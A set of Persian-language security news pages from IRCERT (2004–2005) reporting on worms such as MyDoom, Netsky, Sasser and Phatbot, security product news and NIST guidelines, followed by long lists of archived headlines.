تحلیلگران معتقدند که گزارشاتی مانند گزارش IBM یا Symantec به شرکتها کمک می کند تا از خود در برابر حملات روی اینترنت محافظت کنند.


﻿ IRCERT - اخبار و هشدارها - MyDoom نسخه جدید

نسخه جدید MyDoom خود را معرفی می کند

16 سپتامبر 2004 - 26 شهریور 1383

نسخه جدید کرم اینترنتی MyDoom یک عکس از نویسنده ویروس Netsky یعنی سون جاشان به همراه توصیفی از خود را به همراه دارد.

در آخرین نمونه از کارهای عجیب ویروسها، نویسندگان این کرم به طور مشروح در آن توضیح داده اند که MyDoom.Y چه می کند و چگونه این کار را انجام می دهد. این تاکتیک تولیدکنندگان ضدویروس را گیج کرده است.

میکو هایپونن - مدیر بخش تحقیقات شرکت F-Secure - می گوید:“ به نظر می رسد آنها خواسته اند به ما کمک کنند که این کار بسیار عجیب است. عکس موجود در ویروس نیز ممکن است به این دلیل اضافه شده که نشان دهد MyDoom جنگ بین ویروسها را برده است اما باید اذعان کرد که Netsky گستردگی بیشتری داشت.“

توصیف ویروس شامل دو امضا با نامهای Nemog و Zincite است.اخیرا نسخه ای جدیدی از MyDoom در حال گسترش است و این ذهنیت در بین متخصصان به وجود آمده است که ویروس نویسان سعی دارند تا طرح اولیه این ویروس را بهبود ببخشند.


﻿ IRCERT - هستم از کره جنوبی! - اخبارها و هشدارها Netsky

Netsky هستم از کره جنوبی!

22 اکتبر 2004 - 1 آبان 1383

محققان شرکتهای ضدویروس متوجه شده اند که متنی در نسخه جدید ویروس Netsky وجود دارد که آن را به دانشگاهی در کره جنوبی مرتبط می کند.

میکو هایپونن - مدیر بخش تحقیقات شرکت F-Secure - می گوید که دو عبارت SoonChunHyang و Bucheon را در نسخه جدیدی این ویروس یافته که مخفی شده بودند. وی می افزاید:“ دانشگاهی با نام Soonchunhyang در شهر Bucheon در کره جنوبی وجود دارد. بنابراین گمان می رود که این ویروس ارتباطی با آن داشته باشد.“

نسخه اصلی Netsky توسط سون جاشان نوشته شده است. این فرد که متهم است باعث 70 درصد از آلودگی های ویروسی شش ماه اول امسال است ، توسط پلیس آلمان دستگیر شده است. وی پیش از دستگیری 25 نسخه از Netsky و ویروس مشهور ساسر را وارد شبکه های رایانه ای کرده بود. سون گفته است که سورس کد Netsky را قبل از دستگیری منتشر کرده تا سایرین بتوانند نسخ دیگری تولید کنند.

حداقل 20 نسخه دیگر از Netsky پس از دستگیری سون یافت شده اند. هایپونن معتقد است که نفرات دیگری در تولید این نسخ نقش دارند.


﻿ IRCERT - اخبار و هشدارها- Netsky.Cنسخه جدید

یک نسخه جدید از Netsky.C گزارش شد

۲۵ فوریه – ۶ اسفند

بنابرگزارش شرکتهای تولید کننده نرم افزارهای ضدویروس، نسخه جدیدی از کرم اینترنتی NetSky در حال گسترش است. این کرم نیز همانند نسل قبلی خود یعنی Netsky.B از طریق ایمیل و با موضوعاتی آشنا مانند Questions ، Fwd:lol و Re:hey منتشر می شود. کاربران کرم را با کلیک کردن بر روی فایل الحاقی همراه ایمیل اجرا می کنند.

یکی از مدیران شرکتهای تولید کننده نرم افزارهای ضدویروس می گوید : ویروس نویسان موضوعات بسیار ساده ای را برای این ایمیل ها برمی گزینند تا کاربران را تحریک کنند تا ایمیل را باز کنند. در واقع از کنجکاوی کاربران سوء استفاده می شود.

هنگامی که این کرم که Netsky.C نام دارد، اجرا می شود، سرور ایمیل خود را بر روی رایانه قربانی نصب می کند و شروع به ارسال ایمیلهای آلوده از طریق این رایانه و به آدرس های موجود بر روی آن می کند. همچنین به نظر می رسد که این کرم از نرم افزارهای اشتراک فایل نیز برای انتشار خود بهره می گیرد. این کرم با مشاهده یک دایرکتوری که عبارت Shar در نام آن وجود دارد، لیستی طولانی از اسامی فایلهای جذاب برای کاربران را در آن دایرکتوری کپی می کند که در واقع کپی هایی از خودش است. از جمله این فایلها می توان به Adobe Photoshop 9 full.exe ، Microsoft Office 2003 Crack.exe و Dark Angles.pif اشاره کرد.

بنابر آمار منشر شده، این کرم از نسخه قبلی خود سریعتر منتشر می شود. نسخه B این کرم از موضوعات دیگری برای انتشار خود بهره می گرفت و بدنبال دایرکتوریهای ی حاوی عبارت sharing می گشت. تفاوت دیگراین دو نسخه آن است که C باعث می شود تا رایانه قربانی به محض اجرای فایل آلوده بوق بزند. نسخه قبلی تنها به دادن یک پیغام خطای the file could not be opened قناعت میکرد.


﻿ IRCERT - اخبار و هشدارها- Pathbot نسخه جدید کرم

نسخه جدید کرم Phatbot در راه است

19 آوریل – 31 فروردین

بنا به گزراش منتشر شده از سوی موسسه SANS نسخه جدیدی از کرم Phatbot درحال انتشار است که پورتهای سرور SQL را مورد حمله قرار خواهد داد.

ماه گذشته Phatbot در قالب یک اسب تروا به سیستم های دارای ویندوز حمله کرد. Phatbot در نظر داشت با ایجاد یک شبکه زیرزمینی از کامپیوترهای آلوده , اسپم ارسال یا حمله های دیگر را انجام دهد. SANS در حال حاضر در تلاش است تا با بدست آوردن یه بسته داده ای کامل یا فایل اجرایی تحلیل بهتری را روی این ویروس انجام دهد.

بنابه گزارش SANS این کرم پورتهای TCP شماره 2745 , 1025 , 3127 , 6129 , 5000 , 80 و 1433 را مورد وارسی قرار می دهد. گفته شده است که احتمالا پورت 1981 نیز توسط نسخه دیگری از این ویروس مورد استفاده قرار می گیرد.

Phatbot از فناوری P2P استفاده می کند و به همین دلیل و عدم وجود یک مرکز فرماندهی مرکزی برای آن , حذف این ویروس به سادگی میسر نیست.

مایکروسافت گفته است که گزارش جدیدی درباره این کرم دریافت نکرده است.


﻿ IRCERT - مقالات - Sasserانتشار نسخه جدیدی از

نسخه جدیدی از Sasser منتشر شد

12 مه – 23 اردیبهشت

با وجود دستگیری نویسنده کرم اینترنتی Sasser ،‌ نسخه جدیدی از آن وارد شبکه ها شده است. کارشناسان معتقدند این نسخه تنها یک کپی از نسخه اصلی است. به گفته لویس کرونس ، مدیر آزمایشگاههای تحقیقاتی شرکت پاندا (تولید کننده صدویروس)بررسی کد Sasser.F که روز 21 مه کشف شده ، نشان می دهد که ظاهرا این کد بوسیله یک برنامه نویس بی تجربه نوشته شده که کمی کد اصلی را تغییر داده است اما کار جدیدی به رفتار ویروس اضافه نکرده است.

کد و بعضی پیامهای مخفی در نسخه اصلی کرم Sasser نشان از ارتباط نزدیک نویسندگان این کرم و Netsky دارد. این نکته باعث شده است که بعضی متخصصین در معرفی جوان 18 ساله آلمانی به عنوان تنها عامل Sasser تردید داشته باشند. آنها معتقدند که انتشار 30 نسخه مختلف از Netsky کار زیادی می طلبد و لذا احتمال وجود یک گروه در پس این کار زیاد است.

البته در حال حاضر میزان خطر آلودگی به نسخه های جدید Sasser بالا نیست چون بسیاری از کاربران اصلاحیه مربوطه را نصب کرده اند و یا حداقل ویروس کش حود را به روز رسانی کرده اند. کرم Cycle که از همان حفره Sasser استفاده می کند نیز به همین دلیل نتوانسته گسترش چندانی پیدا کند.


﻿ IRCERT - اخبار و هشدارها - MSN جعل سایتهای گوگل، یاهو و

جعل سایتهای گوگل، یاهو و MSN

30 سپتامبر 2005 – 8 مهر 1384

متخصصان امنیتی برنامه خطرناک را کشف کرده اند که سعی می کند تا کاربران را فریب دهد و آنها را راضی کند تا بر روی نتایج جستجو از سایتهای جعلی گوگل، یاهو و MSN کلیک کنند.

شرکت ضدویروس پاندا هشدار داده است که کاربران سیستمهای آلوده، درصورتی که بخواهند به این موتورهای جستجو سر بزنند، به نسخ جعلی این سایتها راهنمایی می شوند. این سایتهای جعلی نیز با ارائه نتایج جستجوی جعلی، ترافیک و درآمدی را برای سایتهای خاصی ایجاد می کنند. پاندا معتقد است که این یک جنایت سازمان یافته است که باعث کسب درآمد می شود.

سخنگویان سایتهای گوگل، یاهو و MSN توضیحی در این باره ارائه نکرده اند.

پاندا گزارش داده است که کاربران در زمان دیدن سایتهای مستهجن و نرم افزارهای غیرقانونی، به این برنامه که PremiumSearch نام دارد،‌آلوده می شوند. تا به حال گزارشی درباره تعداد سیستمهای آلوده ارائه نشده است.

به گفته پاندا،‌شرکت میزبان سایتهای جعلی در آمریکا قرار دارد که اطلاعات آن به FBI‌داده شده است.


﻿ IRCERT - به ضدویروس مجهز شد- اخبارها و هشدارها ZoneAlarm

فایروال ZoneAlarm به ضدویروس مجهز شد

24 مه – 4 خرداد

شرکت Zone Labs ، تولیدکننده فایروالهای ZoneAlarm، نسخه جدیدی از این فایروال ارائه کرده که در آن بخشی برای مقابله با ویروسها در نظر گرفته شده است. البته این بخش درنسخه تجاری این محصول عرضه شده است. لازم به ذکر است ZoneLabs که به عنوان بخشی مستقل از شرکت فناوری امنیتی CheckPoint فعالیت می کند، نسخه ابتدایی فایروال ZoneAlarm را به صورت رایگان عرضه می کند.

فرد فلمن ، قائم مقام بخش بازرگانی ZoneLabs ، در این باره می گوید : " بسیاری از مشتریان و شرکتهای کوچک از ما یک رهکار کامل امنیتی می خواهند که علاوه بر یک فایروال قوی دارای یک ضدویروس خوب نیز باشد."

فناوری ضدویروس ZoneLabs توسط شرکت Computer Associates International تامین و تایید شده است. این شرکت که ضدویروس eTrust را عرضه می کند ، به مجموعه ها و شرکتهای تجاری کوچک و متوسط خدمات ارائه می کند. ZoneLabs با این کار به طور جدی وارد عرصه رقابتی تامین امنیت کامپیوترهای خانگی می شود. عرصه ای که پیش از این در اختیار Norton Internet Security از شرکت Symantec و

McAfee Internet Security Suite از Network Associates بوده است.

با ارائه ضدویروس ، تنوع محصولات ZoneLabs بیشتر شده است. محصول ابتدایی این شرکت که تنها دارای یک فایروال است و ضدویروس ندارد، رایگان عرضه می شود. این فایروال همراه با ضدویروس مربوطه به قیمت 19.95 دلار ارائه می شود و یک نسخه کامل شامل فایروال ، ضدویروس ، instant messaging security و امکانات بلوکه کردن وب سایت تحت عنوان Zone Alarm Security Suite و به قیمت 69.95 دلار عرضه می گردد. فایروال پیشرفته این شرکت یعنی Zone Alarm Pro به قیمت 49.95 دلار ارائه خواهد شد.


﻿ IRCERT - ؛نسخه های جدید خطرناکترند - اخبارها و هشدارها Sasser

نسخه های جدید Sasser خطرناکترند

3 مه – 14 اردیبهشت

سه نسخه جدید کرم Sasser که امروز منشر شده اند ، میزان آلودگی کامپیوترها را بالا برده و تعداد قربانیان را به 500 هزار کامپیوتر رسانده اند. سه نسخه B ، C و D نیز همانند کرم اصلی ، از حفره موجود در ویندوزهای 2000 و XP استفاده می کند. این کرمها سیستم قابل نفوذ را با برقراری یک ارتباط راه دور آلوده می کنند و سپس یک سرور FTP بر روی آن نصب می کنند. پس از آن کد ویروس و برنامه مربوطه را به کامپیوتر جدید وارد می کنند.

نسخه اصلی Sasser به کندی گسترش می یافت اما از روز 2 مه و با انتشار Sasser.B سرعت گسترش این کرم به شدت افزایش یافت و روز دوشنبه با ورود نسخه های C و D این سرعت بازهم بیشتر شد. اما بناربر گزارشهای ارائه تمامی کامپیوترهایی که اصلاحیه امنیتی مربوطه را روی کامپیوتر خود نصب کرده اند از شر این ویروس در امان بوده اند.

از آنجایی که این کرمها برای اسکن کردن شبکه و آلوده کردن سایر کامپیوترها از پورت 445 استفاده می کند که برای انتقال داده زیاد استفاده می شود لذا براحتی نمی توان ترافیک آن را از ترافیک داده ها جدا کرد اما بنابه گفته کارشناسان امنیت شبکه این پورت بیشترین ترافیک را دارد.

Symantec درجه اهمیت نسخه B را از 3 به 4 (از 5) افزایش داد و این نشان از میزان خطر این کرم دارد. شرکت ضدویروس Rival ،تولید کننده ضدویروس Panda نیز درجه خطر نسخ A و B را به اخطار قرمز افزایش داده است. مدیر ارشد بخش فناوری این شرکت معتقد است که توانایی آلوده سازی این ویروس همانند Blaster است و می تواند همان تعداد قربانی داشته باشد.

در نسخه های C و D این ویروس می تواند برای گسترش خود همزمان 1024 IP را مورد بررسی و کنترل قرار دهد. در حال حاضر هیچ یک از نسخ این ویروس برنامه مخربی به همراه ندارند اما متخصصین معتقدند امکان اضافه شدن برنامه هایی مانند Backdoor ها در نسخ بعدی دور از ذهن نیست.


﻿ IRCERT - اخبار و هشدارها

صفحه اول > اخبار و هشدارها

آرشیو اخبار سال 2004

مایکروسافت: مشکلات امنیتی فایرفاکس سودی برای ما ندارد

چند اصلاحیه برای ویندوز

Sober خود را در کلاس درس پنهان می کند

مشکل امنیتی در ضدویروس Symantec

هکرها تلفن همراه را تهدید می کنند

کاسپرسکی مشکل ضدویروس را تایید کرد

تاخت تروجان بر حفره امنیتی آفیس

جعل سایتهای گوگل، یاهو و MSN

هویت ربایان به دنبال دوستداران فوتبال

بررسی مشکل امنیتی IE

خطر برای کاربران RealPlayer

معرفی محصولات امنیتی جدید سیسکو

حبس تعلیقی برای نویسنده ساسر

اسبهای تروا چهار نعل می تازند

اصلاحیه های مهم برای ویندوز و آفیس

خطر برای کاربران نسخ قدیمی Firefox

سلطان اسپم در دادگاه

هشداری برای کاربران IE

Bagle ارتش ایجاد می کند

ویروس نویسان به پاپ هم رحم نکردند

تلاشی برای کسب اعتبار

نفوذ به حفره امنیتی Outlook Express

مایکروسافت: اصلاحیه نمی دهیم!

رفع مشکلات امنیتی RealPlayer

هجوم هکرها به ابزارهای امنیتی

یک اصلاحیه هم برای Netscape

Opera و اصلاح مشکلات امنیتی

نفوذ هکرها از طریق حفره های جاوا

مشکلات مهم امنیتی در ویندوز و IE

IE7 و مقابله با جاسوسی

ویروس های هفته دوم خرداد ماه

Debian یک روزه و مشکل امنیتی

آیا اینتل برای اپل امنیت بیشتری خواهد آورد؟

هشداری برای کاربران Hotmail

مشکل امنیتی قدیمی در مرورگرهای موزیلا

اسب تروای بن لادن متوقف شد

Sober در صدر ویروسهای ماه مه

حضور و غیاب کلاس با اثر انگشت

McAfee شرکت امنیتی بی سیم را می خرد

انتشار نسخ جدید ویروسهای Mytob , Bagle

سیستم عاملها به کندی اصلاح می شوند

ابزار ضدهویت ربایی Firefox

SP2 ویندوز را 15 بار امن تر می کند

حمله یک کرم اینترنتی به یاهو مسنجر

سیسکو و حفره نرم افزار تلفن اینترنتی

کلمات عبور خود را بنویسید!

اصلاح مشکل امنیتی ضدویروسهای CA

اصلاح کدامیک ارزانتر است؟ ویندوز یا لینوکس؟

اصلاحیه ای برای مرورگر یک روزه

مایکروسافت:‌ مشکل مهمی نیست

Netscape و مقابله با هویت ربایی

شبکه های بی سیم امن نیستند

Sober.W یک تروجان است

نفوذ هکرها به حفره پنتیوم 4

مشکل امنیتی در رمزنگاری VPN

به روز رسانی امنیتی Firefox

اصلاحیه ای برای مشکل امنیتی ویندوز

دو کد نفوذ برای حفره های Firefox

تایید هویت با محصول جدید IBM

اصلاحیه های جدید Apple

روشهای جدید هویت ربایی

بازهم نسخه دیگری از Sober

ویروس های مهم ماه آوریل

پایان دوره ویروسهای ایمیل

توطئه ای برعلیه کاربران گوگل

یک حفره امنیتی بسیار مهم در Netscape

McAfee: ‌حفره های امنیتی، بدترین تهدیدات

ویروسی برای حفظ حق کپی!

پوشش حفره مهم Real Player

52 اسب تروا در درون گوشی شما!

Sober بازمی گردد!

مشکل امنیتی در McAfee suite

حفره های موزیلا، راهی برای هکرها

حفره ای در آفیس و Access

Service Pack 2 اجباری شد!

پوشش حفره های مهم ویندوز

هویت ربایی با وبلاگهای قلابی

Crowt و افزایش خطر هویت ربایی

انتشار پادزهر برای URL های مسموم

مشکلات امنیتی مهم IE و Outlook

براد پیت هم به مایکروسافت حمله می کند

مشکل امنیتی اصلاحیه ویندوز

Mytob به سرعت گسترش می یابد

هویت ربایان و حمله به Yahoo Messenger

رفع مشکل امنیتی مهم Firefox

ویندوز امن تر از لینوکس است؟

سال ۲۰۰۴، سال حمله کرمهای اینترنتی

اصلاحیه ای برای مشکلات امنیتی Mac OS X

VoIP، کانالی برای هکرها

بازهم مشکل امنیتی در ضدویروسها

مهندسی معکوس ممنوع!

DoS ویندوز را تهدید می کند

DNS سرورها، هدف بعدی هویت ربایان

تعقیب کامپیوترها روی اینترنت

کارمندان، پایه اصلی امنیت یک شرکت

eBay و رفع مشکل هویت ربایی

اصلاحیه های امنیتی برای RealPlayers

ویروسهای اینترنتی به کمک زیست شناسان می روند

نفوذ به تلفن هنرپیشه ها در مراسم اسکار

مشکل امنیتی چند تریلیون دلاری!

Bagle به پیش می تازد

انتشار راهنمایی های امنیتی NIST

حمله نرم افزارهای جاسوسی از طریق وبلاگها

ویروسی از FBI

یک ویروس دوست داشتنی دیگر!

ویروسی شدن خودروها تکذیب شد

بازهم به گوگل حمله می شود

نصب چیپ شناسایی در دست یک مرد

نسخه جدید IE در راه است

به حفره های امنیتی نمره داده می شود

ضدجاسوس مایکروسافت رایگان است

McAfee و به روز رسانی روزانه

حفره امنیتی در ضدویروس F-Secure

کنترل دسترسی کودکان با اسکن دست

حمله تروا به نرم افزار ضدجاسوسی مایکروسافت

ویروسها و مشکل امنیتی Symantec

جاسوسی از مرورگرهای موزیلا

اصلاحیه های مهم مایکروسافت

هویت ربایی در مرورگرهای غیرمایکروسافتی

اصلاحیه های امنیتی SuSE

کاربران در دام تصاویر مرگ صدام

حمله یک کرم به MSN Messenger

بازهم اصلاحیه های جدید مایکروسافت

گریه پس از دیدن تصاویر خنده دار!

Zafi در صدر ویروسهای ژانویه

مرورگر ضدهویت ربایی Netscape

مقابله با حملات کرم MySQL

خودروها هم ویروسی می شوند!

اسب تروا یا اصلاحیه مایکروسافت؟

اصلاحیه اپل برای Mac OS X

حفره امنیتی در آخرین اصلاحیه مایکروسافت

Symantec ایمیل امن عرضه می کند

مشکل امنیتی رمزنگاری Office

سوء استفاده از CNN

اوراکل: کاربران اصلاحیه جدید را نصب کنند

Media Player حفره امنیتی ندارد!

انتشار اصلاحیه های لینوکس

کرمی که با قربانیانش بازی می کند

انتشار اصلاحیه های مهم ویندوز

گسترش ویروس با عکسهای مستهجن

McAfee با کمک گوگل حفره یابی می کند

اصلاحیه های ویندوز در راهند

آژیر قرمز برای کاربران IE

هویت ربایی از طریق حفره Firefox

نرم افزار ضدجاسوسی مایکروسافت

هکرها به دنبال سرورهای قابل نفوذ

eBay در جدال با هویت ربایان

هیتاچی و نوت بوکهای بدون دیسک


﻿ IRCERT - اخبار و هشدارها

صفحه اول > اخبار و هشدارها

Netcraft به شکار هویت ربایان می رود

انتشار کد ویروس Cabir

حمله اسب تروا به ویندوز XP

Cabir ، تهدیدی جدی علیه تلفنهای همراه

نفوذ به ویندوز از حفره های جدید

لینوکس در برابر حملات مقاومتر است

Santy ، کرمی که با کمک گوگل منتشر می شد

خطرناکترین برنامه جاسوسی معرفی می شود

Hotmail ضدویروس خود را تغییر می دهد

حفره ای برای هویت ربایی در IE

رفع چند مشکل امنیتی مهم در PHP

یک اصلاحیه مهم امنیتی برای ویندوز XP

ویروسی دیگر و تبریک کریسمس

Zafi کریسمس را تبریک می گوید!

ابزارهای جستجو، هدف جدید ویروسها

خبرهای خوش مایکروسافت برای تعطیلات

NAP ، طرحی برای امنیت کاربران

بازهم مشکلات امنیتی ویندوز!

Netsky-P ، بدترین ویروس سال 2004

رفع مشکل امنیتی پردازش فایلهای گرافیکی لینوکس

Screensaver یا اسب تروا؟

یک اصلاحیه امنیتی برای مکینتاش

یک اصلاحیه مهم برای IE

حفره امنیتی در سرورهای ویندوز

کنترل ویروسها با نرم افزار HP

راه اندازی خودپرداز بیومتریک در کلمبیا

اسکلتها و انتقال ویروس به موبایل

جاسوسان در اتاقهای گفتگو

مشکل جاوا و حمله به ویندوز و لینوکس

این ویروس از طریق تبلیغات نقب می زند

نسخه جدید ویروس Sober وارد می شود

اسکلتها به جنگ موبایلها می روند

انتشار برنامه اصلاحیه های امنیتی اوراکل

باز هم مشکلات امنیتی در IE

گیتس: عمر پسورد تمام شد

مجازات استخدام یک هکر

هشدار به کاربران ویندوز XP

اسب تروا و جاسوسی از عملیات بانکی

ویروسها و اخلال در برنامه ارائه اصلاحیه مایکروسافت

دو ویروس در نبرد با IE

حفره ای در سرور امنیتی مایکروسافت

اسب تروا اسپم را به سوی موبایلها می راند

McAfee بسته امنیتی 2005 را عرضه می کند

ویروس نویسان تهدید مایکروسافت را جدی نمی گیرند

Symantec خدمات امنیتی خود را بهبود می بخشد

یک سیستم عامل دارای ضدویروس

کدی برای نفوذ به IE

کد سیسکو برای فروش

بیشترین نفوذ از طریق حفره امنیتی IE

مهمترین خطر امنیتی : یک حیله قدیمی

تعلیق دانشجویان به جرم هک کردن شبکه آکسفورد

Zafi به گوگل حمله می کند

media player های تحت ویندوز و مشکلات امنیتی

بی توجهی شرکتها به ابزارهای ضدجاسوسی

تهدیدی تازه برای کاربران Mac

اکثر کاربران از آلودگی سیستمشان بی خبرند

تهدیدات امنیتی در گزارش IBM

Netsky هستم از کره جنوبی!

همه مرورگرها مشکل امنیتی دارند

رفع مشکل امنیتی ضد ویروس ها

کامپیوترهای دانشگاه برکلی هک شد

MyDoom شرکتهای ضدویروس را تهدید می کند

Netsky پرتغالی با درجه خطر متوسط

مایکروسافت و 22 مشکل امنیتی جدید

تنها با ویروس در MSN Messenger !

یک تروجان به ظاهر خوب!

مشکل امنیتی نسخ قدیمی آفیس

نرم افزار ضدجاسوسی مایکروسافت عرضه می شود

فیلمها هم ویروسی می شوند!

منتظر ویروس JPEG‌ باشید

تروجانی که از طریق تصویر نفوذ می کند

انتقاد به استخدام نویسنده ساسر

بسته شدن حفره فایروال Symantec

کد حمله به فایلهای گرافیکی در اختیار عموم

پلیس مظنون به سرقت کد سیسکو را دستگیر کرد

حفاظت از کلمات عبور با یک چیپ

نسخه جدید MyDoom خود را معرفی می کند

موزیلا هم امن نیست!

فایلهای JPEG هم خطرناکند!

کرمی که با کاربران صحبت می کند

نویسنده MyDoom به دنبال کار

چهار نسخه جدید MyDoom

مایکروسافت: برای جایزه باید صبر کنید

این یک اسب تروا نیست!

رفع 15 مشکل امنیتی در Mac OS X

رفع مشکل امنیتی WinZip

مشکلات جدی امنیتی در Kerberos

اتحاد بر علیه اسپم

اوراکل اصلاحیه ها را با تاخیر عرضه کرد

یک ویروس برای ویندوزهای 64 بیتی

ویروسی که در خانه شما جاسوسی می کند

Drag&Drop نکنید

دو مشکل امنیتی یاهو

اوراکل و اصلاحیه امنیتی ماهیانه

مشکلات Service Pack 2

هک شدن در بیست دقیقه!

رمز نکنید، امن نیست!

در اختیار گرفتن ویندوز ساده تر است

امنیت در المپیک آتن

نویسنده MSBlast اعتراف کرد

حفره Exchange پوشانده می شود

شکاف امنیتی در نرم افزار چت AOL

ویروسی که اشتباه گرفته شد

برنامه ای خطرناک برای کامپیوترهای جیبی

اوراکل و رفع بیش از 30 مشکل امنیتی

Mozilla جایزه می دهد

DNS ، محلی برای تبادل اطلاعات مخفی

هکرها برای یک حمله سراسری آماده می شوند

اصلاحیه برای سه مشکل امنیتی مهم در IE

گوگل مورد علاقه هکرهاست

ضدویروس مایکروسافت معرفی شد

مجرمی برای تمام سال

MyDoom و حمله به مایکروسافت

Mozilla علیه مشکلات امنیتی

MyDoom نیامده می رود!

MyDoom به ایمیلها و موتورهای جستجو یورش می برد

استفاده از بن لادن برای انتشار ویروس

مقابله با ویروسها در المپیک

گوشیهای نوکیا و مشکل امنیتی Bluetooth

Bagle همچنان قربانی می گیرد

اولین ویروس برای ویندوز CE

گسترش موفق نسخه جدید Bagle

کمی سورس کد می خرید؟

Atak خود را پنهان می کند

بازهم مایکروسافت و 7 مشکل امنیتی

Mozilla هم حفره امنیتی دارد

Lovgate و پیروی از ویروسهای قدیمی

بازهم یک حفره امنیتی دیگر در IE

Bagle دوباره می آید

این ضدویروسها به درد نمی خورند!

گردش کار برای یک مشکل امنیتی 9 ماهه

مایکروسافت McAfee را می خرد؟

شکار مایکروسافت با یک حفره قدیمی در IE

برنامه ای برای سرقت کلمات عبور

مشکل امنیتی IE باعث تقویت رقبا می شود

حمله سایتهای آلوده متوقف شد

متخصصان امنیت : مراقب سایتهای آلوده باشید

صاحب جدید Human Firewall

ضدویروس Mac ، گران و بلا استفاده

آشنایی مدیران شبکه ها با امنیت مایکروسافت

تکذیب شایعه فروش Network Associates به مایکروسافت

اسکن 249 مگابیت اطلاعات در ثانیه

حمله شبکه کامپیوترهای خانگی به اینترنت

مایکروسافت ویروس کش عرضه خواهد کرد

کرم تلفنهای هوشمند گوشی را گذاشت

حمله یک کرم به تلفن های هوشمند

یک حفره خطرناک در اوراکل

دستگیری سارقین کد بازی Half-Life 2

تبلیغات با کمک حفره های IE

اصلاحیه مایکروسافت برای دو حفره جدید

حفره امنیتی Mac پوشانده شد

ارتباط با دیگران ، کلید مشکلات امنیتی Apple

AT&T به جنگ حملات DoS می رود

اولین ویروس 64 بیتی

مشکلات Mac رفع نشد

فایروال ZoneAlarm به ضدویروس مجهز شد

Bobax رقیبی برای Sasser

دو حفره امنیتی تازه در Mac

کد سیسکو به بیرون نشت کرد

یک حفره امنیتی در پروتکل بی سیم

والون Media Player ویندوز را خراب می کند

نسخه جدیدی از Sasser منتشر شد

یک مشکل امنیتی ویندوز اصلاح شد

Sasser را برای مادرم منتشر کردم!

اخطار نویسنده در آخرین نسخه Sasser

نویسنده Sasser دستگیر شد

آیا این پایان کار Sasser است؟

5 میلیون نفر نرم افزار پاک کردن Sasser را دریافت کردند

نسخه های جدید Sasser خطرناکترند

Netsky ،Sasser آیا نویسنده این دو یکی است؟

کرم Sasser منتشر شد

اخطارها شدت می گیرد : یک کرم اینترنتی در راه است

اخطار : کنترل شبکه ها در دست یک bot

یک فناوری برای تایید هویت کاربر و کامپیوتر

کرم نبود، اسب تروا بود

آخرین معمای رمزنگاری RSA حل شد

افزایش حملات اینترنتی به شرکت های تجاری انگلیسی

ویروس نویس شاعر!

حفره TCP انتقال اطلاعات را با خطر روبرو می کند

شرکتی به نام McAfee !

نسخه جدید کرم Phatbot در راه است

NetSky.V از حفره های محصولات مایکروسافت استفاده می کند

هکرها به شبکه سوپرکامپیوترها نفوذ کردند

سیسکو پروتکل امنیتی برای شبکه محلی بی سیم ارائه می دهد

اثر انگشت ایمیل ، راهی برای مقابله با اسپم

حفره های امنیتی مایکروسافت رکورد می شکند

نگرانی‌های جدید در مورد امنیت مرورگرها

رخنه امنیتی در کامپیوترهای مکینتاش

RealPlayer هم کاربران را با خطر مواجه کرد

حمله NetSky عليه سايتهاي اشتراك فايل

زیر سوال رفتن امنیت لینوکس

خطاهای انسانی در صدر عوامل رویدادهای امنیتی

یونیکس کاران مراقب ویروسها باشید!

وجود مشکل در محصولات شبکه بی سیم سیسکو

آنلاینیک توسط یک هکر شیرازی هک شده است!

MSBlast ، حداقل 8 میلیون رایانه را آلوده کرده است

NetSky ، خطرناکتر از آنچه تصور می شد

حفره در فیلتر Hotmail و Yahoo

چهار کرم جدید از سری Bagle به اینترنت وارد شدند

یک کرم خطرناک کامپیوتری شناخته شد

اصلاحیه های امنیتی برای OpenSSL

خطر حفره امنیتی outlook بیش از تصور است

مشکل امنیتی در MSN Messenger

کرمی در پوست بسته امنیتی مایکروسافت

مایکروسافت و AMD برای افزایش امنیت باهم مشارکت می کنند

ویروس نویسان دعوا می کنند

نسخه های مختلف NetSky درحال انتشار هستند

یک نسخه جدید از Netsky.C گزارش شد

رفع اشکال امنیتی ICQ

کرم Bizex به ICQ حمله کرد

MyDoom باز هم حمله ور شد

پایان عمر کلمه عبور

10 مشکل امنیتی مهم سال

MyDoom حمله خود به شبکه ها را آغاز کرده است، سریعترین کرم اینترنتی

چه کسی رد پای نویسنده MyDoom را پاک می کند؟

رشد مشکلات امنیتی مایکروسافت

یک حفره جدید در ویندوز


﻿ IRCERT - با ویندوز همراه نیست - اخبارها و هشدارها IE

نسخه جدید IE با ویندوز همراه نیست

15 فوریه 2005 - 27 بهمن 1383

بیل گیتس امروز اعلام کرد که برخلاف سیاست معمول مایکروسافت، این شرکت قصد دارد نسخه جدید مرورگر خود را به طور مجزا از نسخه بعدی ویندوز عرضه کند.

وی که در کنفرانس RSA 2005 سخن می گفت اشاره کرد که نسخه بتای مرورگر IE 7 تابستان امسال وارد بازار خواهد شد. پیش از این مایکروسافت اعلام کرده بود که نسخه جدید IE را با نسخه جدید سیستم عاملش یعنی Longhorn در سال آینده وارد بازار خواهد کرد. با این تغییر برنامه به نظر می آید مایکروسافت هم به این نتیجه رسیده است که مرورگرش به تنهایی تبدیل به یک خطر امنیتی شده است که برای رفع اشکالات آن باید به طور مجزا به آن پرداخت. گیتس در این باره می گوید:“ مشخصا مرور کردن یک نقطه نفوذ است.“

به گفته بیل گیتس نسخه جدید مرورگر مایکروسافت بر روی سیستمهایی که ویندوز XP و SP2 را نصب کرده باشند، کار می کند.

هنوز درباره چگونگی ارائه نسخه جدید مرورگر IE تصمیم گیری نشده است. ممکن است در قالب یک بسته نرم افزاری جدا و یا همراه با SP3 عرضه شود. همچنین امکان دارد در قالب برنامه های به روز رسانی ماهانه مایکروسافت این نرم افزار ارائه گردد.

متخصصان معتقدند تغییر رویه مایکروسافت به دلیل رشد روزافزون تعداد کاربران مرورگر رقیب یعنی Firefox است.

مایکروسافت درباره مشخصات این مرورگر جدید سکوت کرده است.


﻿ IRCERT - اخبار و هشدارها - NIST انتشار راهنمایی های امنیتی

انتشار راهنمایی های امنیتی NIST

28 فوریه 2005 - 10 اسفند 1383

امروز موسسه NIST (National Institute of Standards and Technology ) نسخه نهایی راهنمایی های امنیتی برای حفاظت از سیستمهای کامپیوتری دولتی و اطلاعات موجود در آنها را منتشر کرد.

ادارات دولتی از این راهنماییها جهت انجام دستورات استفاده خواهند برد. این ادارات باید کنترلها، ‌سیاستها و پردازه های خاص امنیتی را به کار گیرند.

مدیر آزمایشگاه فناوری اطلاعات NIST معتقد است این راهنماییها به ادارات کمک می کند تا بتوانند کنترلهای امنیتی مناسب را انتخاب و پیاده سازی کنند.

